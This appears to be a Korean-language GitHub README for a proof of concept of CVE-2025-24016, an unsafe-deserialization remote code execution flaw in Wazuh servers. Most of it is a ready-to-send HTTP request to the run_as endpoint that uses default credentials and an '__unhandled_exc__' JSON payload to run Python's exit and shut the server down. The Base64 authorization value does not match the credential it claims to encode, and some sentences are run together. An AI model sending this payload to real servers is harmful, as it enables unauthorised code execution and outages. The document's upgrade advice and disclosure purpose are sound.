glostarrx1/cve-2025-24016CVE-2025-24016: Wazuh 서버의 RCE! 원격 코드 실행
이 저장소는 wazuh-manager 패키지의 안전하지 않은 역직렬화로 인해 발생하는 Wazuh 서버의 원격 코드 실행(RCE) 취약점을 보여줍니다. 이 취약점을 통해 API 접근 권한이 있는 원격 공격자(손상된 대시보드, 클러스터 내 Wazuh 서버, 또는 손상된 에이전트가 있는 특정 구성)가 서버에서 임의의 코드를 실행할 수 있습니다.
wazuh-manager 버전 >= 4.4.0>= 4.9.1에서 패치됨취약점은 Wazuh API에서 발생하며, DistributedAPI의 매개변수가 JSON으로 직렬화되고 framework/wazuh/core/cluster/common.py 파일의 as_wazuh_object를 사용하여 역직렬화됩니다. 공격자는 DAPI 요청에 무결제된 딕셔너리를 주입하여 이 취약점을 악용할 수 있으며, 이로 인해 임의의 Python 코드가 실행될 수 있습니다.
RCE는 run_as 엔드포인트를 사용하여 트리거할 수 있으며, 공격자가 auth_context 인수를 제어할 수 있습니다. 악의적인 요청을 조작하여 마스터 서버에서 임의의 코드를 실행할 수 있습니다.
서버 API를 사용하여 이 취약점을 트리거하려면 아래 단계를 따르세요.
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg== # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
wazuh-wui:MyS3cr37P450r.*-)입니다.__unhandled_exc__가 포함되어 있으며, 이로 인해 임의의 Python 코드(exit)가 실행됩니다.>= 4.4.0부터 4.9.0(아직 패치되지 않음)까지 영향을 받습니다.exit 함수가 트리거되어 Wazuh 서버가 종료됩니다.시스템을 보호하려면 이 문제가 패치된 Wazuh 버전 >= 4.9.1로 업그레이드하세요.